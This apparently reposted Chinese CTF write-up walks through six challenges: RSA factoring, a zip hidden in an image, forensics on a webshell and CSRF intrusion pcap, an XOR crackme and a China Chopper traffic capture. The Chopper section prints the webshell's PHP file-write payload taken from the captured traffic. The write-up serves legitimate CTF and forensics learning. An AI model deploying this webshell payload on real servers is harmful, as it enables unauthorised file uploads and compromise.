某CTF比赛writeup
阅读原文时间:2023年07月10日阅读:2

看到群里别人参加比赛发上来的附件,自己尝试解了一下。

1、提示RSA,提供flag.enc和pub.key附件

一看就是解RSA,公钥分解得到n和e

n=86934482296048119190666062003494800588905656017203025617216654058378322103517
e=65537

分解n,得到pq

q = 304008741604601924494328155975272418463
p = 285960468890451637935629440372639283459

有pqe可以求出d

d = 81176168860169991027846870170527607562179635470395365333547868786951080991441

有了ned和密文就可以解出明文了,然后转成字符串

2、不知道什么鬼的图片

分析含zip,分离,然后zip再爆破

3、pcap入侵记录的题目

搜<?php找到几个一句话的提交路径,可以看到大量扫描404的回显记录,攻击者IP是172.17.0.1

继续找,发现另一个IP修改了密码,应该是管理员,所以基本上判断不是XSS不是SQL是CSRF,看readme是CWE-352

继续搜找到放代码的页面,在某个页面POST提交

不确定是POST提交的算还是管理员点击后算,所以FLAG按照题目提交格式应该是CWE-352_2018-06-15 09:18:29的MD5或者CWE-352_2018-6-15 09:40:12的md5密文

4、XOR

放C32后看不出什么,IDA载入

int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
int result; // eax
signed int i; // [rsp+2Ch] [rbp-124h]
char v6[264]; // [rsp+40h] [rbp-110h]
__int64 v7; // [rsp+148h] [rbp-8h]

memset(v6, 0, 0x100uLL);
v3 = (char *)256;
printf("Input your flag:\n", 0LL);
get_line(v6, 0x100u);
if ( strlen(v6) != 33 )
goto LABEL_12;
for ( i = 1; i < 33; ++i )
v6[i] ^= v6[i - 1];
v3 = global;
if ( !strncmp(v6, global, 0x21uLL) )
printf("Success", v3);
else
LABEL_12:
printf("Failed", v3);
result = __stack_chk_guard;
if ( __stack_chk_guard == v7 )
result = 0;
return result;

看得出和提醒XOR对应,一共33位的字符串循环异或前面一位,异或计算的字符串如下

其中0Ah表示换行,对应ASCII码10,以此类推

异或计算前

'f',10,'k',12,'w','&','O','.','@',17,'x',13,'Z',';','U',17,'p',25,'F',31,'v','"','M','#','D',14,'g','h',15,'G',2,'O',0

用Python根据内容进行循环异或得出flag

5、菜刀pcap文件

可以看得出菜刀连接后上传了文件

@ini_set("display_errors","");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"":"");;echo("|<-");die();

6666.jpg的时间UTC+8和和报文时间可以对上,应该就是jpg文件,直接导出HEX输出图片得到FLAG

6、异性相吸,直接Python异或计算

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章